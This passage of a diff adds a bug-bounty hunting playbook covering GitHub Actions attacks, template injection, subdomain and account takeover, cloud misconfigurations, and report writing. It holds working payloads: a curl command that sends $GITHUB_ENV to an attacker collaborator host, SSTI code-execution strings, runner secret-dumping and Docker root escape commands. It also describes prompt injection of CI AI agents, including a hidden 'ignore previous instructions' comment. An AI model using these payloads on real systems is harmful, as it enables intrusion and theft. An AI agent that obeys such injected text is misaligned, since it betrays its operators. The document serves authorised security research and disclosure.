+ - [ ] **Hardcoded credentials** — API keys, passwords, tokens directly in workflow YAML
630
+
631
+ ### Category 5: Triggers & Access Control (CICD-SEC-01)
632
+
633
+ - [ ] **Dangerous triggers without mitigation** — `pull_request_target` or `workflow_run` with no `permissions: {}`, no approval gate, no ref restriction
634
+ - [ ] **Dangerous triggers with partial mitigation** — some protections present but bypassable
635
+ - [ ] **Label-based approval bypass** — `if: contains(github.event.pull_request.labels.*.name, 'approved')` is spoofable (attacker can add labels)
636
+ - [ ] **Bot condition spoofing** — `if: github.actor != 'dependabot[bot]'` is trivially bypassed by naming account similarly
637
+ - [ ] **Excessive GITHUB_TOKEN permissions** — `permissions: write-all` when only `contents: read` needed
638
+ - [ ] **Self-hosted runners in public repos** — untrusted PRs execute on org infrastructure = container escape → lateral movement
639
+ - [ ] **OIDC token theft** — CI runners expose OIDC tokens that grant cloud access
640
+
641
+ ### Category 6: AI Agent Security (NEW — 2025+)
642
+
643
+ - [ ] **Unrestricted AI trigger** — `allowed_non_write_users: "*"` lets any user trigger AI agent execution
644
+ - [ ] **Excessive tool grants** — AI agent given Bash/Write/Edit tools in untrusted trigger context = attacker prompt → RCE
645
+ - [ ] **Prompt injection via workflow context** — `${{ github.event.issue.body }}` interpolated into AI agent prompt parameter
646
+
647
+ ### Hunting Workflow
648
+
649
+ ```
650
+ 1. Recon: find all .github/workflows/*.yml in target's public repos
651
+ 2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
652
+ 3. Triage: Critical/High findings → manual verification
653
+ 4. For each finding:
654
+ a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
655
+ b. What secrets are accessible? (check permissions: block, secrets usage)
656
+ c. What's the blast radius? (repo secrets → deploy keys → cloud access)
657
+ 5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
658
+ 6. Prove: show secret exfiltration, code execution, or artifact tampering
659
+ ```
660
+
661
+ ### Expression Injection PoC Template
662
+
663
+ ```bash
664
+ # Step 1: Create an issue with injection payload in title
665
+ gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"
666
+
667
+ # Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated
668
+ # CVSS: 9.3 Critical (RCE with repo secrets)
669
+ ```
670
+
671
+ ### Real-World GHSAs (Proven Payouts)
672
+
673
+ | GHSA | Action | Bug Class | Severity |
674
+ |---|---|---|---|
675
+ | GHSA-gq52-6phf-x2r6 | tj-actions/branch-names | Expression injection via branch name | Critical |
676
+ | GHSA-4xqx-pqpj-9fqw | atlassian/gajira-create | Code injection in privileged trigger | Critical |
677
+ | GHSA-g86g-chm8-7r2p | check-spelling/check-spelling | Secret exposure in build logs | Critical |
678
+ | GHSA-cxww-7g56-2vh6 | actions/download-artifact | Artifact poisoning (official action) | High |
679
+ | GHSA-h3qr-39j9-4r5v | gradle/gradle-build-action | Cache poisoning via untrusted checkout | High |
680
+ | GHSA-mrrh-fwg8-r2c3 | tj-actions/changed-files | Supply chain — impostor commit | High |
681
+ | GHSA-phf6-hm3h-x8qp | broadinstitute/cromwell | Token exposure via code injection | Critical |
682
+ | GHSA-qmg3-hpqr-gqvc | reviewdog/action-setup | Time-bomb via tag pinning | High |
683
+ | GHSA-vqf5-2xx6-9wfm | github/codeql-action | Known vulnerable official action | High |
684
+ | GHSA-hw6r-g8gj-2987 | pytorch/pytorch | Argument injection in build workflow | Moderate |
685
+
686
+ ### A→B Signal: CI/CD Chains
687
+
688
+ ```
689
+ Expression injection → secret exfiltration → cloud account takeover
690
+ Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
691
+ Artifact poisoning → release binary tampering → supply chain compromise
692
+ Cache poisoning → build output manipulation → backdoored deployment
693
+ Impostor commit → pinned action hijack → all downstream repos affected
694
+ OIDC token theft → cloud metadata → S3/GCS read → customer data
695
+ Self-hosted runner → container escape → internal network pivot
696
+ ```
697
+
698
+ ### Deep-Dive: From sisakulint Finding to Bounty Report
699
+
700
+ sisakulint findings are **potentially exploitable** — not confirmed bugs. Every finding needs manual verification. The patterns below are extracted from 36 real-world paid reports ($250K+ total payouts). Each section follows the thinking that led to actual bounty payments.
701
+
702
+ #### 1. Code Injection / Argument Injection
703
+
704
+ **Gate question:** Can an external attacker trigger this workflow AND does the tainted input reach a shell context?
705
+
706
+ **Verification depth:**
707
+ 1. **Trigger accessibility** — `issues: opened` and `issue_comment: created` are triggerable by ANY GitHub user. `pull_request_target` is triggerable via fork PR. Check if there's an `if:` condition filtering by actor/association.
708
+ 2. **Direct vs transitive taint** — The workflow file itself may look safe. Cycode found Bazel's $13K bug because `cherry-picker.yml` passed `${{ github.event.issue.title }}` via `with:` to a **composite action in another repo** (`bazelbuild/continuous-integration`). The composite action's `action.yml` had `run: TITLE="${{ inputs.issue-title }}"`. Conventional scanners (actionlint) missed this because they don't follow `uses:` into external composite actions. **Always fetch and read the composite action's action.yml.**
709
+ 3. **Payload construction** — Branch names cannot contain spaces. Ultralytics YOLO attacker used `${IFS}` (Internal Field Separator) and Bash brace expansion `{curl,-sSfL,URL}` to bypass this. Issue titles/bodies have no such restriction.
710
+ 4. **Secrets reachability** — Check `permissions:` at workflow AND job level. No explicit `permissions:` block = repo default (often `write-all`). Check `env:` blocks for `${{ secrets.* }}`. Check if `GITHUB_TOKEN` has write permissions.
711
+ 5. **Impact chain** — Bazel: issue title injection → composite action shell injection → `BAZEL_IO_TOKEN` + `GITHUB_TOKEN (write-all)` → Bazel codebase backdoor capability (affects Google, Kubernetes, Uber, LinkedIn).
712
+
713
+ **Kill signals:** `${{ contains(...) }}` or `${{ startsWith(...) }}` returning booleans are NOT injectable — false positive. `${{ github.event.pull_request.labels.*.name }}` inside `contains()` evaluates to `true`/`false`, not the label text.
714
+
715
+ #### 2. Untrusted Checkout (Pwn Request)
716
+
717
+ **Gate question:** Does the workflow checkout attacker-controlled code AND then execute something from that checkout?
718
+
719
+ **Verification depth:**
720
+ 1. **Explicit vs implicit code execution** — The Flank $7.5K bug: `gh pr checkout` → `gradle/gradle-build-action` runs Gradle → Gradle auto-evaluates `settings.gradle.kts` as Kotlin script. The attacker never wrote a `run:` command. **Any build tool that reads config from the repo is an execution vector**: `Makefile`, `package.json` (postinstall scripts), `setup.py`, `build.gradle.kts`, `.cargo/config.toml`, `Gemfile`.
721
+ 2. **Issue_comment is as dangerous as pull_request_target** — Rspack NPM token theft: `issue_comment` trigger + `refs/pull/${{ github.event.issue.number }}/head` checkout. `issue_comment` runs in base repo context with full secrets. Draft PRs are included. No contributor status check. **Always check issue_comment workflows for PR checkout patterns.**
722
+ 3. **Self-hosted runner escalation** — If `runs-on:` contains `self-hosted`, check: (a) Is the runner ephemeral? (`--ephemeral` in config.sh). (b) Is the runner in Docker group? (`docker run -v /:/host --privileged`). (c) PyTorch pattern: contributor trick (typo fix PR → merge → contributor status → auto-trigger on self-hosted runner without approval) → RoR (Runner-on-Runner: `RUNNER_TRACKING_ID=0` + install attacker's runner agent) → wait for privileged workflow → steal PATs from `.git/config` or process memory.
723
+ 4. **TOCTOU** — Label-gated `pull_request_target` workflows: attacker gets label added (social engineering), workflow checks label exists, attacker pushes malicious commit between check and checkout. The `ref:` at checkout time resolves to the new commit. **Mutable refs (`github.event.pull_request.head.sha` at trigger time vs checkout time) are the root cause.**
724
+ 5. **Post-exploitation** — After initial access, enumerate all secrets: `env | base64`, `cat /proc/self/environ`, `gcore $(pgrep Runner.Worker)` + `strings core.* | grep ghp_`. PyTorch attackers got 3 bot PATs → combined them to bypass branch protection on main.
725
+
726
+ **Kill signals:** `if: "!github.event.pull_request.head.repo.fork"` blocks external attackers. `permissions: {}` at workflow level with only `contents: read` at job level limits damage. Ephemeral runners with `--ephemeral` flag prevent persistence.
727
+
728
+ #### 3. Artifact Poisoning
729
+
730
+ **Gate question:** Is there a TWO-STAGE workflow pattern where Stage 1 (pull_request, no secrets) uploads artifacts and Stage 2 (workflow_run, with secrets) downloads and uses them?
731
+
732
+ **Verification depth:**
733
+ 1. **Cross-workflow artifact flow** — Same-workflow upload/download (build job → test job via `needs:`) is NOT poisonable because the attacker's PR runs their own build. The dangerous pattern is: `pull_request` workflow uploads → separate `workflow_run` workflow downloads. `workflow_run` triggers on the completion of another workflow and runs in the DEFAULT BRANCH context with full secrets.
734
+ 2. **Download path matters** — `actions/download-artifact` with `path: .` or workspace-relative paths (`grafana-server/bin`) can overwrite source code, build scripts, or binaries. Safe pattern: extract to `${{ runner.temp }}/artifacts`.
735
+ 3. **Source validation** — Does the `workflow_run` consumer check `github.event.workflow_run.head_repository.full_name != github.repository`? If not, fork PR artifacts are consumed blindly. Rust release pipeline was vulnerable to exactly this.
736
+ 4. **ArtiPACKED (persist-credentials)** — `actions/checkout` defaults to `persist-credentials: true`. This writes `GITHUB_TOKEN` to `.git/config`. If the artifact upload path includes `.git/` (e.g., `path: .`), the token is publicly downloadable from the Actions artifact. **Check**: does any `upload-artifact` step use `path: .` or a broad path that includes `.git/`?
737
+
738
+ **Kill signals:** Upload and download in the same workflow run (connected by `needs:`). `workflow_run` consumer that explicitly checks fork origin. `persist-credentials: false` on checkout.
739
+
740
+ #### 4. Cache Poisoning
741
+
742
+ **Gate question:** Can a fork PR write a cache entry that the default branch later restores in a privileged context?
743
+
744
+ **CRITICAL: GitHub's cache scoping does NOT fully prevent this.** A PR branch can read caches from the default branch. A fork PR workflow can WRITE cache entries. If the cache key is deterministic (`hashFiles('package-lock.json')`) and the attacker doesn't modify that file, the fork PR writes to the SAME cache key.
745
+
746
+ **Verification depth:**
747
+ 1. **Key predictability** — `key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }}` is fully predictable. Adding `github.sha` or `github.run_id` to the key makes it unpredictable. **Check every cache key for the presence of an unpredictable component.**
748
+ 2. **Cache hierarchy exploitation** — `workflow_run` and `workflow_dispatch` workflows run in the default branch context. If they write to caches with predictable keys, an attacker who can trigger the upstream workflow (via fork PR) can pre-poison the cache. The `run-dashboard-search-e2e.yml` pattern: `workflow_run` trigger → `actions/cache` with `hashFiles()` key → all PR workflows read this cache.
749
+ 3. **Payload injection** — Cacheract: inject malware into package manager caches (`node_modules/.cache`, `~/.cache/pip`, `~/.gradle/caches`). The malware self-perpetuates because each restore → build → save cycle preserves the payload. **Cache TTL is 7 days** — the payload survives across multiple workflow runs.
750
+ 4. **Privileged consumption** — The cache is restored in a `push` or `schedule` workflow on the default branch. These workflows have full `secrets` access. The poisoned dependency executes during `npm install` / `pip install` / `gradle build` and exfiltrates secrets.
751
+ 5. **Clinejection chain** — Prompt injection → AI agent runs `npm install` from attacker commit → Cacheract in npm cache → nightly publish workflow restores cache → VSCE_PAT, OVSX_PAT, NPM_RELEASE_TOKEN stolen → malicious Cline v2.3.0 published for 8 hours.
752
+
753
+ **Kill signals:** Cache key includes `github.sha` or `github.run_id`. Separate cache keys per workflow. `actions/cache/restore` (read-only) instead of `actions/cache` (read-write) in PR workflows.
754
+
755
+ #### 5. Self-Hosted Runners
756
+
757
+ **Gate question:** Is a self-hosted runner used in a PUBLIC repo where external contributors can trigger workflows?
758
+
759
+ **Verification depth:**
760
+ 1. **Approval settings** — Default: "Require approval for first-time contributors". After ONE merged PR (even a typo fix), the attacker becomes a "contributor" and subsequent PRs auto-trigger without approval. GitHub runner-images $20K bug used exactly this trick.
761
+ 2. **Runner persistence** — Non-ephemeral runners retain state between jobs. `RUNNER_TRACKING_ID=0` prevents the runner from cleaning up attacker processes after job completion. Detached Docker containers (`docker run -d --restart always`) also survive cleanup.
762
+ 3. **Runner-on-Runner (RoR)** — Install an official GitHub Actions runner binary on the target's self-hosted runner, register it to attacker's private org. Uses only legitimate GitHub binaries and HTTPS to github.com — indistinguishable from normal runner traffic. **No C2 server needed. GitHub itself is the C2.**
763
+ 4. **Lateral movement** — RoR persistence → wait for privileged `push`/`schedule` workflows → steal tokens from `.git/config`, `$GITHUB_ENV`, `/proc/PID/environ`, or Runner.Worker process memory. PyTorch: 3 bot PATs → 93 repos → AWS S3 write access → `pip install pytorch` supply chain.
764
+ 5. **Docker group escalation** — `docker run -v /:/host --privileged alpine chroot /host` → full host root. Add SSH keys, modify sudoers, install persistent backdoors.
765
+
766
+ **Kill signals:** `--ephemeral` flag on runner registration. "Require approval for ALL outside collaborators" (not just first-time). Runner not in Docker group. Private repo (no external PRs).
767
+
768
+ #### 6. Supply Chain (commit-sha / impostor-commit / ref-confusion)
769
+
770
+ **Gate question:** Does the workflow use mutable tags (`@v1`, `@v2`) for actions, and could those tags be replaced?
771
+
772
+ **Verification depth:**
773
+ 1. **Tag mutability** — `git tag -f v1 <malicious-commit>` replaces the tag. 98.4% of repos don't use SHA pinning (Legit Security 2024). tj-actions attack: all version tags (v1, v35, v45) replaced with memdump.py payload → 23K repos affected → 218 confirmed secret leaks.
774
+ 2. **Impostor commits** — Fork network shares object store with parent. Attacker pushes a commit to fork, then references that commit SHA in the parent repo's `uses:`. GitHub resolves it because the SHA exists in the shared object store.
775
+ 3. **RepoJacking** — Org renames create a redirect. Old name becomes available. Attacker registers old org name, creates same repo, hosts malicious action. Shopify/unity-buy-sdk used `MirrorNG/unity-runner` → MirrorNG renamed to MirageNet → `MirrorNG` was claimable. **Check**: `GET /users/<action-owner>` returns 404? Takeover possible.
776
+ 4. **Payload stealth** — tj-actions memdump.py: extract secrets from Runner.Worker process memory via `/proc/PID/maps` + `/proc/PID/mem`, encrypt with AES+RSA, output to workflow log. Logs are publicly visible but encrypted — only attacker has the key.
777
+
778
+ **Kill signals:** Full 40-char SHA pinning (`uses: actions/checkout@b4ffde65...`). Dependabot configured for `github-actions` ecosystem. Organization-level action allowlist.
779
+
780
+ #### 7. AI Agent Security
781
+
782
+ **Gate question:** Is an AI agent (Gemini CLI, Claude Code, Cline, Codex) invoked in a workflow where external users can influence the prompt?
783
+
784
+ **Verification depth:**
785
+ 1. **Trigger + prompt source** — `issues: opened` → AI triage bot reads `github.event.issue.body`. The body IS the prompt. HTML comments (`<!-- ignore previous instructions -->`) are invisible in GitHub UI but included in the API response and thus in the AI prompt.
786
+ 2. **Tool permissions** — If the AI agent has Bash/Write/Edit tools and runs with secrets in env, prompt injection = RCE + secret exfil. `allowed_non_write_users: "*"` means ANY user can trigger.
787
+ 3. **Multi-phase chain** — Clinejection: prompt injection → AI runs `npm install` from attacker commit → Cacheract plants in npm cache → nightly publish restores cache → tokens stolen → malicious version published. **A prompt injection finding alone may seem low-severity, but it's a gateway to cache poisoning and supply chain attacks.**
788
+
789
+ **Kill signals:** `author_association == 'MEMBER' || 'OWNER'` check before AI processing. `--read-only --no-exec` flags on AI CLI. `permissions: {}` at workflow level.
790
+
791
+ #### 8. Permissions / Secrets Hygiene
792
+
793
+ **Not standalone bugs** — these are force multipliers. A `code-injection-medium` with `permissions: write-all` is Critical. The same injection with `permissions: { contents: read }` is limited.
794
+
795
+ **Chaining checklist:**
796
+ - `secrets: inherit` on reusable workflow call → all org secrets accessible to called workflow
797
+ - `permissions:` block missing → repo default (often write-all)
798
+ - `GITHUB_TOKEN` with `contents: write` → CVE-2022-46258 pattern: use Contents API to create new workflow file → new workflow accesses ALL repo/org secrets (the original workflow never referenced them)
799
+
800
+ **Key references:**
801
+ - [sisaku-security/agent-idea/bugbountyreport](https://github.com/sisaku-security/agent-idea/tree/main/bugbountyreport) — 36 real-world reports with full attack chains
802
+ - [sisakulint docs/advisory](https://sisaku-security.github.io/lint/docs/advisory/) — 38 GHSAs with detection mapping
803
+ - [DEF CON 32: Grand Theft Actions](https://media.defcon.org/DEF%20CON%2032/) — Khan & Stawinski, $250K+ in self-hosted runner bugs
804
+ - [Synacktiv: GitHub Actions Exploitation (5 parts)](https://www.synacktiv.com/en/publications/github-actions-exploitation-introduction)
805
+
806
+
807
+ ## SSTI -- Server-Side Template Injection
808
+
809
+ ### Detection Payloads
810
+ ```
811
+ {{7*7}} -> 49 = Jinja2 / Twig / generic
812
+ ${7*7} -> 49 = Freemarker / Pebble / Velocity
813
+ <%= 7*7 %> -> 49 = ERB (Ruby)
814
+ #{7*7} -> 49 = Mako / some Ruby
815
+ *{7*7} -> 49 = Spring (Thymeleaf)
816
+ {{7*'7'}} -> 7777777 = Jinja2 (Twig gives 49)
817
+ ```
818
+
819
+ ### Where to Test
820
+ - Name/bio/description fields (profile pages)
821
+ - Email templates (invoice name, username in confirmation email)
822
+ - Custom error messages
823
+ - PDF generators (invoice, report export)
824
+ - URL path parameters
825
+ - Search queries reflected in results
826
+
827
+ ### Jinja2 -> RCE (Python / Flask)
828
+ ```python
829
+ {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
830
+ ```
831
+
832
+ ### Twig -> RCE (PHP / Symfony)
833
+ ```php
834
+ {{["id"]|filter("system")}}
835
+ ```
836
+
837
+ ### Freemarker -> RCE (Java)
838
+ ```
839
+ <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
840
+ ```
841
+
842
+ ### ERB -> RCE (Ruby on Rails)
843
+ ```ruby
844
+ <%= `id` %>
845
+ ```
846
+
847
+
848
+ ## Subdomain Takeover
849
+
850
+ ### Detection
851
+ ```bash
852
+ # Check for dangling CNAMEs
853
+ cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
854
+ # Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com
855
+
856
+ # Automated takeover detection
857
+ nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
858
+ ```
859
+
860
+ ### Quick-Kill Fingerprints
861
+ ```
862
+ "There isn't a GitHub Pages site here" -> GitHub Pages
863
+ "NoSuchBucket" -> AWS S3
864
+ "No such app" -> Heroku
865
+ "404 Web Site not found" -> Azure App Service
866
+ "Fastly error: unknown domain" -> Fastly CDN
867
+ "project not found" -> GitLab Pages
868
+ "It looks like you may have typed..." -> Shopify
869
+ ```
870
+
871
+ ### Impact Escalation
872
+ - Basic takeover: serve page under target.com subdomain -> Low/Medium
873
+ - + Cookies: if target.com sets cookie with domain=.target.com -> credential theft -> High
874
+ - + OAuth redirect: if sub.target.com is a registered redirect_uri -> ATO chain -> Critical
875
+ - + CSP bypass: if sub.target.com is in target's CSP -> XSS anywhere -> Critical
876
+
877
+
878
+ ## ATO -- Account Takeover (Complete Taxonomy)
879
+
880
+ ### Path 1: Password Reset Poisoning (Host Header Injection)
881
+ ```bash
882
+ POST /forgot-password
883
+ Host: attacker.com
884
+ Content-Type: application/x-www-form-urlencoded
885
+ email=victim@company.com
886
+ # If reset link = https://attacker.com/reset?token=XXXX -> ATO
887
+ # Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server
888
+ ```
889
+
890
+ ### Path 2: Reset Token in Referrer Leak
891
+ After clicking reset link, if page loads external resources -> token in Referer header to external domain.
892
+
893
+ ### Path 3: Predictable / Weak Reset Tokens
894
+ ```bash
895
+ # If token < 16 hex chars or numeric only -> brute-forceable
896
+ ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
897
+ ```
898
+
899
+ ### Path 4: Token Not Expiring / Reuse
900
+ Request token -> wait 2 hours -> use it -> still works? Request token #1 -> request token #2 -> use token #1 -> still works?
901
+
902
+ ### Path 5: Email Change Without Re-Authentication
903
+ ```bash
904
+ PUT /api/user/email
905
+ {"new_email": "attacker@evil.com"}
906
+ # If no current_password required -> attacker changes email -> locks out victim
907
+ ```
908
+
909
+ ### Path 6: OAuth Account Linking Abuse
910
+ Can you link an OAuth account from a different email to an existing account?
911
+
912
+ ### Path 7: Session Fixation
913
+ GET /login -> note Set-Cookie session=XYZ -> Log in -> does session ID change? If not = fixation.
914
+
915
+
916
+ ## Cloud / Infra Misconfigs
917
+
918
+ ### S3 / GCS / Azure Blob
919
+ ```bash
920
+ # S3 public listing
921
+ aws s3 ls s3://target-bucket-name --no-sign-request
922
+
923
+ # Try common names
924
+ for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
925
+ curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
926
+ done
927
+ ```
928
+
929
+ ### EC2 Metadata (via SSRF)
930
+ ```bash
931
+ http://169.254.169.254/latest/meta-data/iam/security-credentials/
932
+ # Returns role name, then:
933
+ http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
934
+ # Returns AccessKeyId, SecretAccessKey, Token -> Critical
935
+
936
+ # GCP (needs header Metadata-Flavor: Google):
937
+ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
938
+
939
+ # Azure (needs header Metadata: true):
940
+ http://169.254.169.254/metadata/instance?api-version=2021-02-01
941
+ ```
942
+
943
+ ### Firebase Open Rules
944
+ ```bash
945
+ curl -s "https://TARGET-APP.firebaseio.com/.json"
946
+ # If data returned -> open read
947
+ curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
948
+ # If success -> open write -> Critical
949
+ ```
950
+
951
+ ### Exposed Admin Panels
952
+ ```bash
953
+ /jenkins /grafana /kibana /elasticsearch
954
+ /swagger-ui.html /api-docs /phpMyAdmin /adminer.php
955
+ /.env /config.json /server-status /actuator/env
956
+ ```
957
+
958
+ ### Kubernetes / Docker
959
+ ```bash
960
+ # K8s API (unauthenticated):
961
+ curl -sk https://TARGET:6443/api/v1/namespaces/default/pods
962
+ # Docker API:
963
+ curl -s http://TARGET:2375/containers/json
964
+ ```
965
+
966
+ ---
967
+
968
+ # PHASE 4: VALIDATE
969
+
970
+
971
+ ## The 7-Question Gate (Run BEFORE Writing ANY Report)
972
+
973
+ All 7 must be YES. Any NO -> STOP.
974
+
975
+ ### Q1: Can I exploit this RIGHT NOW with a real PoC?
976
+ Write the exact HTTP request. If you cannot produce a working request -> KILL IT.
977
+
978
+ ### Q2: Does it affect a REAL user who took NO unusual actions?
979
+ No "the user would need to..." with 5 preconditions. Victim did nothing special.
980
+
981
+ ### Q3: Is the impact concrete (money, PII, ATO, RCE)?
982
+ "Technically possible" is not impact. "I read victim's SSN" is impact.
983
+
984
+ ### Q4: Is this in scope per the program policy?
985
+ Check the exact domain/endpoint against the program's scope page.
986
+
987
+ ### Q5: Did I check Hacktivity/changelog for duplicates?
988
+ Search the program's disclosed reports and recent changelog entries.
989
+
990
+ ### Q6: Is this NOT on the "always rejected" list?
991
+ Check the list below. If it's there and you can't chain it -> KILL IT.
992
+
993
+ ### Q7: Would a triager reading this say "yes, that's a real bug"?
994
+ Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?
995
+
996
+
997
+ ## 4 Pre-Submission Gates
998
+
999
+ ### Gate 0: Reality Check (30 seconds)
1000
+ ```
1001
+ [ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
1002
+ [ ] The bug is in scope -- checked program scope explicitly
1003
+ [ ] I can reproduce it from scratch (not just once)
1004
+ [ ] I have evidence (screenshot, response, video)
1005
+ ```
1006
+
1007
+ ### Gate 1: Impact Validation (2 minutes)
1008
+ ```
1009
+ [ ] I can answer: "What can an attacker DO that they couldn't before?"
1010
+ [ ] The answer is more than "see non-sensitive data"
1011
+ [ ] There's a real victim: another user's data, company's data, financial loss
1012
+ [ ] I'm not relying on the user doing something unlikely
1013
+ ```
1014
+
1015
+ ### Gate 2: Deduplication Check (5 minutes)
1016
+ ```
1017
+ [ ] Searched HackerOne Hacktivity for this program + similar bug title
1018
+ [ ] Searched GitHub issues for target repo
1019
+ [ ] Read the most recent 5 disclosed reports for this program
1020
+ [ ] This is not a "known issue" in their changelog or public docs
1021
+ ```
1022
+
1023
+ ### Gate 3: Report Quality (10 minutes)
1024
+ ```
1025
+ [ ] Title: One sentence, contains vuln class + location + impact
1026
+ [ ] Steps to reproduce: Copy-pasteable HTTP request
1027
+ [ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
1028
+ [ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
1029
+ [ ] Remediation: 1-2 sentences of concrete fix
1030
+ ```
1031
+
1032
+
1033
+ ## CVSS 3.1 Quick Guide
1034
+
1035
+ | Factor | Low (0-3.9) | Medium (4-6.9) | High (7-8.9) | Critical (9-10) |
1036
+ |--------|-------------|----------------|--------------|-----------------|
1037
+ | Attack Vector | Physical | Local | Adjacent | Network |
1038
+ | Privileges | High | Low | None | None |
1039
+ | User Interaction | Required | Required | None | None |
1040
+ | Impact | Partial | Partial | High | High (all 3) |
1041
+
1042
+ ### Typical Scores by Bug Class
1043
+
1044
+ | Bug | Typical CVSS | Severity |
1045
+ |----|------|---------|
1046
+ | IDOR (read PII) | 6.5 | Medium |
1047
+ | IDOR (write/delete) | 7.5 | High |
1048
+ | Auth bypass -> admin | 9.8 | Critical |
1049
+ | Stored XSS | 5.4-8.8 | Med-High |
1050
+ | SQLi (data exfil) | 8.6 | High |
1051
+ | SSRF (cloud metadata) | 9.1 | Critical |
1052
+ | Race condition (double spend) | 7.5 | High |
1053
+ | GraphQL auth bypass | 8.7 | High |
1054
+ | JWT none algorithm | 9.1 | Critical |
1055
+
1056
+ ---
1057
+
1058
+ # ALWAYS REJECTED -- Never Submit These
1059
+
1060
+ Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.
1061
+
1062
+ **N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.**
1063
+
1064
+
1065
+ ## Conditionally Valid With Chain
1066
+
1067
+ These low findings become valid bugs when chained:
1068
+
1069
+ | Low Finding | + Chain | = Valid Bug |
1070
+ |------------|---------|-------------|
1071
+ | Open redirect | + OAuth code theft | ATO |
1072
+ | Clickjacking | + sensitive action + PoC | Account action |
1073
+ | CORS wildcard | + credentialed exfil | Data theft |
1074
+ | CSRF | + sensitive state change | Account takeover |
1075
+ | No rate limit | + OTP brute force | ATO |
1076
+ | SSRF (DNS only) | + internal access proof | Internal network access |
1077
+ | Host header injection | + password reset poisoning | ATO |
1078
+ | Self-XSS | + login CSRF | Stored XSS on victim |
1079
+
1080
+ ---
1081
+
1082
+ # PHASE 5: REPORT
1083
+
1084
+
1085
+ ## HackerOne Report Template
1086
+
1087
+ ```
1088
+ Title: [Vuln Class] in [endpoint/feature] leads to [Impact]
1089
+
1090
+
1091
+ ## Summary
1092
+ [2-3 sentences: what it is, where it is, what attacker can do]
1093
+
1094
+
1095
+ ## Steps To Reproduce
1096
+ 1. Log in as attacker (account A)
1097
+ 2. Send request: [paste exact request]
1098
+ 3. Observe: [exact response showing the bug]
1099
+ 4. Confirm: [what the attacker gained]
1100
+
1101
+
1102
+ ## Supporting Material
1103
+ [Screenshot / video of exploitation]
1104
+ [Burp Suite request/response]
1105
+
1106
+
1107
+ ## Impact
1108
+ An attacker can [specific action] resulting in [specific harm].
1109
+ [Quantify if possible: "This affects all X users" or "Attacker can access Y data"]
1110
+
1111
+
1112
+ ## Severity Assessment
1113
+ CVSS 3.1 Score: X.X ([Severity label])
1114
+ Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None
1115
+ ```
1116
+
1117
+
1118
+ ## Bugcrowd Report Template
1119
+
1120
+ ```
1121
+ Title: [Vuln] at [endpoint] -- [Impact in one line]
1122
+
1123
+ Bug Type: [IDOR/SSRF/XSS/etc]
1124
+ Target: [URL or component]
1125
+ Severity: [P1/P2/P3/P4]
1126
+
1127
+ Description:
1128
+ [Root cause + exact location]
1129
+
1130
+ Reproduction:
1131
+ 1. [step]
1132
+ 2. [step]
1133
+ 3. [step]
1134
+
1135
+ Impact:
1136
+ [Concrete business impact]
1137
+
1138
+ Fix Suggestion:
1139
+ [Specific remediation]
1140
+ ```
1141
+
1142
+
1143
+ ## Human Tone Rules (Avoid AI-Sounding Writing)
1144
+ - Start sentences with the impact, not the vulnerability name
1145
+ - Write like you're explaining to a smart developer, not a textbook
1146
+ - Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
1147
+ - One concrete example beats three abstract sentences
1148
+ - No em dashes, no "comprehensive/leverage/seamless/ensure"
1149
+
1150
+
1151
+ ## Report Title Formula
1152
+
1153
+ ```
1154
+ [Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]
1155
+ ```
1156
+
1157
+ **Good titles:**
1158
+ ```
1159
+ IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
1160
+ Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
1161
+ Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
1162
+ SSRF via image import URL parameter reaches AWS EC2 metadata service
1163
+ Race condition in coupon redemption allows same code to be used unlimited times
1164
+ ```
1165
+
1166
+ **Bad titles:**
1167
+ ```
1168
+ IDOR vulnerability found
1169
+ Broken access control
1170
+ XSS in user input
1171
+ Security issue in API
1172
+ ```
1173
+
1174
+
1175
+ ## Impact Statement Formula (First Paragraph)
1176
+
1177
+ ```
1178
+ An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
1179
+ This requires [prerequisites] and leaves [detection/reversibility].
1180
+ ```
1181
+
1182
+
1183
+ ## The 60-Second Pre-Submit Checklist
1184
+
1185
+ ```
1186
+ [ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
1187
+ [ ] First sentence states exact impact in plain English
1188
+ [ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
1189
